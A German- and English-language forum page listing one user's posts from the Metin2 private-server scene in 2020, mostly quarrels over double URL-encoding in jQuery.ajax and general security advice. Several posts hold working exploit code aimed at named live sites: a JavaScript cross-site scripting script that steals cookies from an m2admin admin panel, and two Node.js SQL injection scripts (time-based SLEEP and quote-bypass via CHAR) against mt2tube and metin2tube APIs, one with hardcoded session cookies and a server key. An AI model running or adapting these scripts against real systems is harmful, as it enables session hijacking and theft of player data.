Beiträge von metho

metho · 30. Juni 2020

Zitat von DVS

Zitat von LordZiege

Das war ironie. Weil mehr würden so leute wie du nicht zahlen.

Kannst ja 300/400 fürs überprüfen deiner aktuellen homepage ausgeben.

Soviel zum Thema 300 400 fürs überprüfen mein Freund.
Hab eine Homepage inkl. Code für 250 gefunden, UND das war sein genannter Preis.
Erstmal groß reden , aber am Ende täuscht man sich.

Alles anzeigen

Naja, ich verlange beispielsweise gar nichts fürs überprüfen und fürs fixen 250 - 1000 (je nach Aufwand und Kritikalität), für eine Website 2500.

Geh davon aus, dass die Webseite nicht sicher ist wie 99.9% der Webseiten in der Metin2 Szene. Nicht jeder liefert die gleiche Qualität.

Du kommst günstig weg, wenn du das CMS von Señor iPeri /.. kaufst und er dir das Design erstellt. Sowohl Señor Zynko als auch ich haben seine Arbeit reviewed. Damit solltest du gut bedient sein.

metho · 27. Juni 2020

Zitat von xAmnezia

Kannst mich mal anschreiben mit dem was du brauchst. Falls ich morgen am PC bin schreibe ich sie dir.
Sofern du sie dann noch benötigst.

Ich werde ihm ausrichten er soll dich zurückrufen, sofern er einen absoluten nohand benötigt.

metho · 27. Juni 2020

Some servers are currently using: Bitte melden Sie sich an, um diesen Link zu sehen.

Bitte melden Sie sich an, um dieses Bild zu sehen.

Then what's that?: Bitte melden Sie sich an, um diesen Link zu sehen.

Bitte melden Sie sich an, um dieses Bild zu sehen.

JavaScript

window.POST_MESSAGE_TARGET_ORIGIN = '*';
/**
*
* @param {string} url
* @param {{ [key: string]: string }} body
*/
function post(url, body) {
const form = $(document.createElement('form'))
.attr({
action: url,
method: 'POST',
})
.append(
Object.keys(body).map((key) => {
const value = body[key];
return $(document.createElement('input')).attr({
type: 'hidden',
name: key,
value,
});
})
);
const iframe = $(document.createElement('iframe'))
.css({ display: 'none' })
.one('load', (event) => {
$(event.target.contentDocument.documentElement).append(form);
form.submit();
});
$(document.documentElement).append(iframe);
}
/**
*
* @param {() => void} injection
*/
function injectMessage(injection) {
post('https://test.m2admin.net/admin/scripts/js/search.php', {
text: `<script>exec = eval(\`${injection}\`); window.parent.postMessage(exec(), \`${POST_MESSAGE_TARGET_ORIGIN}\`)</script>`,
});
}
$(window).on('message', (event) => {
console.log('Received message:');
console.log(event.originalEvent.data.split(/;\s/).map(cookie => cookie.replace('=', ' = ')).join('\n'));
});
injectMessage(() => document.cookie);

Alles anzeigen

Why should ionCube make the connection more secure, lul?
Btw It's sufficient to know the URL to get the players information like E-Mail, PW, IP etc..

You should avoid using this admin panel, because you don't receive the source code when buying it, so you can't fix it and you're not able to verify it (If it is correctly fixed or not). However, i will contact the creator and explain him, that it's better to share his source code when selling it.

metho · 23. Juni 2020

Zitat von Volvox

Der Client ist so wichtig, weil ihr die Binary "analysiert" und da dann den Key oder was auch immer rauszieht ?

Ist alles Neuland für mich, freue mich über Infos + Aufklärung =)

Nur mit den verschlüsselten Daten lässt sich kaum was machen.

In der Theorie: Bräuchte man mindestens einen Teil der Daten (und wenn vorhanden den Initialisierungsvektor oder otp pads etc.) um deine Keys und weitere verwendete Ciphers herauszufinden.

Praktisch ist das aber nicht möglich. Ohne reverse engineering wird hier keiner im Stande sein es herauszufinden. Zudem ist der Zeitaufwand nicht lohnenswert, besser du fragst direkt was du wissen musst, statt diese Aufgabe zu stellen.

metho · 6. Juni 2020

Bitte melden Sie sich an, um dieses Bild zu sehen.

Ah shit, ...

For Bitte melden Sie sich an, um diesen Link zu sehen., you can test the injection like this:

JavaScript

const axios = require('axios');
const queryString = require('query-string');
const url = queryString.stringifyUrl({
url: 'https://www.mt2tube.com/api/v1.0',
query: {
type: 'popular_channels',
},
});
const axiosInstance = axios.create({
headers: {
Cookie: stringifyCookie({
PHPSESSID: 'vf34e0d5n066te1tbfv05jjuli',
user_id: '5340ceee6bc3327b18a4a307b7699accbcd86f8315914037003f6f1a1a5dfc731283fe7ae488f93687',
}),
},
});
/**
*
* @param {{ [cooke: string]: string; }} cookies
*/
function stringifyCookie(cookies) {
cookies = Object.keys(cookies)
.map((cookie) => `${cookie}=${cookies[cookie]}`)
.join('; ');
return cookies;
}
/**
*
* @param {string} sql
* @param {number} sleep
*/
function exec(sql, sleep = 0) {
return axiosInstance
.post(
url,
queryString.stringify({
server_key: '1312a113c58715637a94437389326a49',
last_count: 1,
channels_ids: `0) AND (SELECT(${sql}) OR 1) AND SLEEP(${sleep}`,
})
)
.then((response) => response.status === 200)
.catch(() => false)
}
exec('SELECT views FROM videos WHERE views > 999 OR SLEEP(10) LIMIT 1')
.then(result => console.log(result ? 'Completed.' : 'Failed.'));

Alles anzeigen

Btw, a long time ago I found a code / SQL injection at Metin2Tube. I told the admin to fix it. He fixed it and I told him to check the page against security issues. Unfortunately that hasn't happened to this day, lul

So for Bitte melden Sie sich an, um diesen Link zu sehen., you can test the injection like this:

JavaScript

const axios = require('axios');
const queryString = require('query-string');
/**
* No quotes are allowed.
*/
function prepareSql(sql) {
return sql.replace(/'((?:[^\\]|\\.)*?)'|"((?:[^\\]|\\.)*?)"/gsi, (m, p1, p2) => `CHAR(${Array.from(p1 || p2).map(c => c.charCodeAt(0)).join(', ')})`);
}
function exec(sql) {
console.log(`sql: '${sql}'`);
sql = prepareSql(sql);
const url = queryString.stringifyUrl({
url: 'https://metin2tube.com/api/relatedvids',
query: {
videoowner: '',
videomedia: 1,
videocategory: 1,
videoid: `1) AND (SELECT (${sql})`
}
});
return axios.get(url).then(() => true).catch(() => false)
}
exec(`SELECT '\\'';`).then(() => console.log('Completed.'));

Alles anzeigen

metho · 2. Juni 2020

Zitat von MaxChri

Mahlzeit, ich habe das Thema nochmal mit mailsy privat ausdiskutiert.

Schlussendlich werde ich meinen Code, wie schon am Anfang empfohlen wurde, anpassen,
sodass eine zweite Kodierung nicht mehr nötig sein wird, wie es aktuell der Fall ist.

Anbei entschuldige ich mich für falsch getroffene Aussagen.

Alles anzeigen

Geht doch. Bei nächsten mal vielleicht zuerst überlegen und nicht einfach irgendwelchen Schwachsinn behaupten....

metho · 2. Juni 2020

Zitat von MaxChri

Zitat von mailsy

Max. Ich erkläre es dir gerne nochmal in einfach: Dein Plugin stellt es in dekodierter Form dar. Ich kann nicht mehr wirklich.... Max, das ist einfachstes Grundwissen und du scheiterst bereits an dem...

In dekotierter Form = plain text = was ich 100 fach geschrieben habe, dass es in plain text abgeschickt wird. Begreifst du es jetzt?
Und ich benötige den String enkodiert!

Max es reicht jetzt wirklich. Du hast keine Ahnung. Ich habe gesagt, dein Plugin stellt es in dekodierter Form dar, nimm doch einfach ein richtiges Tool und kein Firefox Plugin.... Wann begreifst du endlich, dass du falsch liegst?

metho · 2. Juni 2020

Zitat von MaxChri

Zitat von mailsy

Du bist wirklich unwissend. Max jetzt wird es nur noch peinlich. Dass du einfache Dinge nicht weisst, ist keine Schande, aber dass du mehrfach versuchst meine Kompetenz schlecht zureden ist wirklich absurd.

Hier Malzeit, aber so richtig: Bitte melden Sie sich an, um diesen Link zu sehen.Meine Buchempfehlung für dich:

Statement? Bitte klär uns auf Max, du weisst es ja anscheinend besser als wir...

Also bist du der Meinung, dass HTTP Live Header POST Daten nicht encoded anzeigt/anzeigen kann?

Hier mal mit encodeURIComponent: (wie auch schon 100 Posts davor gezeigt wurde)
Bitte melden Sie sich an, um diesen Link zu sehen.

Falls du davon auch n Beweisvideo brauchst, gerne an den MetinTube Support weitergeben.

Alles anzeigen

Max. Ich erkläre es dir gerne nochmal in einfach: Dein Plugin stellt es in dekodierter Form dar. Ich kann nicht mehr wirklich.... Max, das ist einfachstes Grundwissen und du scheiterst bereits an dem...

metho · 2. Juni 2020

Zitat von MaxChri

Ey ich finde es auch geil, dass wir uns hier über eine Codezeile streiten.

Hier nochmal in der Praxis:
Bitte melden Sie sich an, um diesen Link zu sehen.

Du bist wirklich unwissend. Max jetzt wird es nur noch peinlich. Dass du einfache Dinge nicht weisst, ist keine Schande, aber dass du mehrfach versuchst meine Kompetenz schlecht zureden ist wirklich absurd.

Hier Malzeit, aber so richtig: Bitte melden Sie sich an, um diesen Link zu sehen.Meine Buchempfehlung für dich:

Bitte melden Sie sich an, um dieses Bild zu sehen.

Statement? Bitte klär uns auf Max, du weisst es ja anscheinend besser als wir...

metho · 1. Juni 2020

Zitat von MaxChri

Ich glaube wir beenden das einfach mal. Hab dir die Praxisbeispiele gezeigt, dass ich die Daten ohne entsprechende Maßnahmen als plain text an den Server schicke. Das Thema hier ist eh erledigt, abgesehen von unser netten Unterhaltung.

Was redest du da? Welche Praxisbeispiele? Lass mal diesen Unterton, ich versuche dir was beizubringen und du reagierst selten dämlich. Würde mir einfach nur wünschen, dass du meine Kritik zu herzen nimmst, statt zu versuchen argumentativ dagegen zu halten mit falschen Behauptungen. Du wusstest es nicht und das ist nicht schlimmes, aber das du 0 Einsicht hast, beweist, dass du nicht für den Beruf geeignet bist.

metho · 1. Juni 2020

Zitat von MaxChri

Zitat von mailsy

Ich habe dir oben den Source-Code von jQuery.ajax zitiert. Kannst du etwa keinen Code lesen? Muss ich dir die Stelle markieren? Du enttäuschst mich gerade bisschen. Begreifst du es wirklich nicht oder machst du dies mit Absicht? Ok, zum 10x du doppelt enkodierst es. encodeURIComponent ist unnötig, weil jQuery.ajax das bereits für dich macht.

Willst du einfach nicht verstehen? Ich nehme mir die Zeit dich auf Fehler und Bad Practice hinzuweisen und du tust so als würde ich falsch liegen. Du wirst nicht wirklich weit kommen mit dieser Einstellung.

Du hast keine Ahnung, aber ich freue mich aber schon auf deinen nächsten dummen Kommentar.

Wenn ich Daten so wie ich es gemacht habe, per Post sende, werden sie NICHT kodiert abgeschickt. Teste es selbst aus und dann kannst du vielleicht mal mitreden.

Sowas passiert halt, wenn man einfach Frameworks nutzt und von der eigentlichen Architektur keine Ahnung hat.

Alles anzeigen

Max, wie oft noch?

Hier DEIN code den DU geschrieben hast:

JavaScript

$.ajax({
method: "POST",
url: "/include/display_user_comments.php",
data: {
user_add_comment: 1,
user_comment: encodeURIComponent(e),
section_id: s,
associated_id: n,
sub_comment_id: t,
comment_blacklist: DISPLAY_USER_COMMENT_BLACKLIST
}
})

Alles anzeigen

Diese Daten werden doppelt enkodiert. Hier der Beweis (nochmals):

JavaScript

ajaxSettings: {
processData: true
}

JavaScript

// Convert data if not already a string
if (s.data && s.processData && typeof s.data !== "string") {
s.data = jQuery.param(s.data, s.traditional);
}

JavaScript

// Serialize an array of form elements or a set of
// key/values into a query string
jQuery.param = function( a, traditional ) {
var prefix,
s = [],
add = function( key, valueOrFunction ) {
// If value is a function, invoke it and use its return value
var value = isFunction( valueOrFunction ) ?
valueOrFunction() :
valueOrFunction;
s[ s.length ] = encodeURIComponent( key ) + "=" +
encodeURIComponent( value == null ? "" : value );
};
if ( a == null ) {
return "";
}
// If an array was passed in, assume that it is an array of form elements.
if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
// Serialize the form elements
jQuery.each( a, function() {
add( this.name, this.value );
} );
} else {
// If traditional, encode the "old" way (the way 1.3.2 or older
// did it), otherwise encode params recursively.
for ( prefix in a ) {
buildParams( prefix, a[ prefix ], traditional, add );
}
}
// Return the resulting serialization
return s.join( "&" );
};

Alles anzeigen

Weisst du etwa nicht, das Ajax Daten enkodiert oder weisst du nicht, dass PHP sie wieder dekodiert? Bist du wirklich beschränkt, dass du nicht verstehst, dass du einfach nur falsch liegst?

metho · 1. Juni 2020

Zitat von MaxChri

Du willst es einfach nicht verstehen oder?

Encoded:
Bitte melden Sie sich an, um dieses Bild zu sehen.

Ohne encodeURIComponent:
Bitte melden Sie sich an, um dieses Bild zu sehen.

3x darfst du jetzt raten, was passiert, wenn man encoding weglässt. Genau, man kriegt n callback mit nem Fehler.

Alles anzeigen

Ich habe dir oben den Source-Code von jQuery.ajax zitiert. Kannst du etwa keinen Code lesen? Muss ich dir die Stelle markieren? Du enttäuschst mich gerade bisschen. Begreifst du es wirklich nicht oder machst du dies mit Absicht? Ok, zum 10x du doppelt enkodierst es. encodeURIComponent ist unnötig, weil jQuery.ajax das bereits für dich macht.

Willst du einfach nicht verstehen? Ich nehme mir die Zeit dich auf Fehler und Bad Practice hinzuweisen und du tust so als würde ich falsch liegen. Du wirst nicht wirklich weit kommen mit dieser Einstellung.

Du hast keine Ahnung, aber ich freue mich aber schon auf deinen nächsten dummen Kommentar.

metho · 1. Juni 2020

Zitat von MaxChri

Zitat von mailsy

Danke, du hast wirklich bewiesen, dass du keine Ahnung hast. Ich habe freundlicherweise deinen Link angesehen und schicke dir nun die entsprechende Zeile:

Bitte melden Sie sich an, um dieses Bild zu sehen.

jQuery.ajax beinhaltet bereits Bitte melden Sie sich an, um diesen Link zu sehen.encodeURIComponent. Du machst dich wirklich gerade lächerlich.

Schau dir die jquery libs und den json Parameter nochmal genau an. Auf übelster Pro machen und dann bei sowas reinscheißen.
PS: nutze kein JSON.

MaxChri, geht es dir gut? Wenn ich dich gedemütigt habe, tut es mir leid, aber ich habe erwartet, dass du solche Dinge begreifen solltest. Niemand hat jemals was von JSON geredet, lass es einfach gut sein.

Hier mal 1:1 Zitat aus dem Source Code von jQuery (extra für dich, weil du es immer noch nicht verstehst).

JavaScript

ajaxSettings: {
processData: true
}

JavaScript

// Convert data if not already a string
if (s.data && s.processData && typeof s.data !== "string") {
s.data = jQuery.param(s.data, s.traditional);
}

JavaScript

// Serialize an array of form elements or a set of
// key/values into a query string
jQuery.param = function( a, traditional ) {
var prefix,
s = [],
add = function( key, valueOrFunction ) {
// If value is a function, invoke it and use its return value
var value = isFunction( valueOrFunction ) ?
valueOrFunction() :
valueOrFunction;
s[ s.length ] = encodeURIComponent( key ) + "=" +
encodeURIComponent( value == null ? "" : value );
};
if ( a == null ) {
return "";
}
// If an array was passed in, assume that it is an array of form elements.
if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
// Serialize the form elements
jQuery.each( a, function() {
add( this.name, this.value );
} );
} else {
// If traditional, encode the "old" way (the way 1.3.2 or older
// did it), otherwise encode params recursively.
for ( prefix in a ) {
buildParams( prefix, a[ prefix ], traditional, add );
}
}
// Return the resulting serialization
return s.join( "&" );
};

Alles anzeigen

Du machst du dich nur noch lächerlich und verlierst deine ganze Glaubwürdigkeit.

metho · 1. Juni 2020

Zitat von MaxChri

Hierzu eine Lektüre: Bitte melden Sie sich an, um diesen Link zu sehen.

Das Encoding wird verwendet, damit die Ajax Funktion aus der JQuery Library die Zeichenketten ordnungsgemäß an den Server schicken kann.

Jquery Ajax: Bitte melden Sie sich an, um diesen Link zu sehen.

Danke, du hast wirklich bewiesen, dass du keine Ahnung hast. Ich habe freundlicherweise deinen Link angesehen und schicke dir nun die entsprechende Zeile:

Bitte melden Sie sich an, um dieses Bild zu sehen.

jQuery.ajax beinhaltet bereits Bitte melden Sie sich an, um diesen Link zu sehen.encodeURIComponent. Du machst dich wirklich gerade lächerlich.

metho · 1. Juni 2020

Zitat von MaxChri

Zitat von mailsy

Du hast noch nicht das Verständnis, wann und wo du Serializing, Sanitizing, Encoding, Escaping, Converting, Validating etc. anwenden musst oder in welcher Reihenfolge.
Das sind Grundlagen für jeden Programmierer (besonders wenn du sagst du möchtest Web-Entwickler sein).

Wenn du meine Kritik als wertvoll erachtest, solltest diese Begriffe wirklich mal nachschauen und lernen oder du machst 1:1 genauso weiter wie bisher, aber dann wird dich nie einer Ernst nehmen können.

Wie bereits gesagt, würde ich dir empfehlen ein Framework zu verwenden. Aktuell stehst wissenstechnisch etwa da, wo iPeri steht, aber muss ja nichts heissen, er lernt auch dazu.

Alles anzeigen
Escaping und Encoding solltem dir wohl ein Begriff auf MetinTube sein. Falls nicht, kann ich ja mal ein paar Screenhots von deinen misslungenen Injections zeigen. Auch wenns von Außen doppelt und dreifach aussieht, hat auch das encoding auch auf clientside Ebene eine Funktion. Im Endeffekt ist deine Resonanz auf derartige Funktionalitäten reine Interpretationssache, zumal du den Backend-Code nie gesehen hast.

Das MetinTube Backend ist ein eigenständig entwickeltes Framework, welches von Grund aufgebaut wurde und in den nächsten Jahren für deartige Projekte weiterentwickelt wird.

Bin dir echt dankbar dafür, dass du dir dafür Zeit genommen hast, MetinTube zu checken. Aber lassen wir bei der Sache mal die Kirche im Dorf.

Alles anzeigen

Nein es hat keinerlei Funktion. Du versteht hierbei nicht wie das funktioniert. Wenn du mich korrigieren möchtest habe ich damit kein Problem, aber was du erzählst ist kompletter Käse.

Das ist dein Code:

JavaScript

$.ajax({
method: "POST",
url: "/include/display_user_comments.php",
data: {
user_add_comment: 1,
user_comment: encodeURIComponent(e),
section_id: s,
associated_id: n,
sub_comment_id: t,
comment_blacklist: DISPLAY_USER_COMMENT_BLACKLIST
}
})

Alles anzeigen

Erklär mir bitte wieso encodeURIComponent(e) hier von nöten sein soll? Du hast wirklich keine Ahnung, dass ajax bereits diese enkodiert, oder? Zuerst überlegen, dann schreiben...

metho · 1. Juni 2020

Zitat von MaxChri

Zitat von Tyris San

Wenn man denkt die metin2 developer können was und dann sowas

Ich seh mich nicht als "metin2" developer. Ich bin mir dessen Exploits bewusst und weiß wie man diese behebt.
Dass hier einfach ein Parameter gefehlt hat, kam wohl durch Unachtsamkeit zustande. Normalerweise benutzt man htmlspecialchars
auch nicht direkt im Code, sondern in einer separaten Funktion - wurde wie gesagt gefixed und damit ist die Sache für mich erledigt.

Dank metho konnten im Übrigen noch weitere, weniger dramatische Fehler behoben werden.

Alles anzeigen

Du hast noch nicht das Verständnis, wann und wo du Serializing, Sanitizing, Encoding, Escaping, Converting, Validating etc. anwenden musst oder in welcher Reihenfolge.

Das sind Grundlagen für jeden Programmierer (besonders wenn du sagst du möchtest Web-Entwickler sein).

Wenn du meine Kritik als wertvoll erachtest, solltest diese Begriffe wirklich mal nachschauen und lernen oder du machst 1:1 genauso weiter wie bisher, aber dann wird dich nie einer Ernst nehmen können.

Wie bereits gesagt, würde ich dir empfehlen ein Framework zu verwenden. Aktuell stehst wissenstechnisch etwa da, wo iPeri steht, aber muss ja nichts heissen, er lernt auch dazu.

metho · 31. Mai 2020

Hello everyone,

Small example of a session hijacking. Metintube includes untypical exploitable functions. Like for example doubled encoded/escaped http parameters.

See here: Bitte melden Sie sich an, um diesen Link zu sehen.
See here: Bitte melden Sie sich an, um diesen Link zu sehen.

Bitte melden Sie sich an, um dieses Bild zu sehen.

HelloBrightness Thx for helping to expose metintube

metho · 26. Mai 2020

Ich würde es nicht nutzen. Du hast mir mal eine Implementation gezeigt mit Math.random(). Das würde sicherheitstechnisch nicht ausreichend sein, da der Wert von Math.random() vorhersagbar ist, siehe: Bitte melden Sie sich an, um diesen Link zu sehen.

Solltest du ein npm package verwenden für einen kryptographisch sicheren Algorithmus + ein gut generierten Zufallswert, siehe: Bitte melden Sie sich an, um diesen Link zu sehen.

Wie Aze sagt gibt es ja bereits gut ausgereifte Implementationen in externen Tools.

metho · 22. Mai 2020

Zitat von Onyxia

Daher kommt der Dummy kommentar auf der Voteseite von Altaria. Geiler scheiß xD Das werden jetzt einige abusen, um irgend einen Müll reinzuposten.

Könnte man auch dazu verwenden, einfach den Link zum Server abzuändern oder einfach direkt weiterzuleiten auf Server xy, aber das wäre dann eher destruktiv und nicht meine Intention . Versuche später auch mal den Admin zu kontaktieren, sobald ich Zeit hab.

Und ja, es ist natürlich auch nicht schön für einen Top 10 Server wenn er nur negative Kommentare hat. Aber Mert hält gut dagegen:

Bitte melden Sie sich an, um dieses Bild zu sehen.

metho · 21. Mai 2020

Zitat von Zynko

Wurde wegen so einem Thema heute angefragt.

Well finde du hättest es als responsible Disclosure dem Admin melden sollen. Aber die Toplist eh absolut lost. Also Who cares.

Gute Arbeit.

#linkupdated. Ja, habe dich heute angeschrieben. Ich zerstöre ja nicht die Existenz eines hart arbeitenden Familienvaters, sondern ich nehme hier nur einen lernresistenten Metin2-Schmalspurganoven aufs Korn. Ich nehme an, du siehst das genau so.

Beiträge von metho

Suche Homepage Design + Code

Quester

m2admin - So secure, it's a conexion segura... not possible to read it!

Cryption-Test

mt2tube.com - SQL sleep injection

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

metintube - Javascript session hijacking

[UMFRAGE] Generate Passwort Button

metin2pserver.info - Javascript code injection example

metin2pserver.info - Javascript code injection example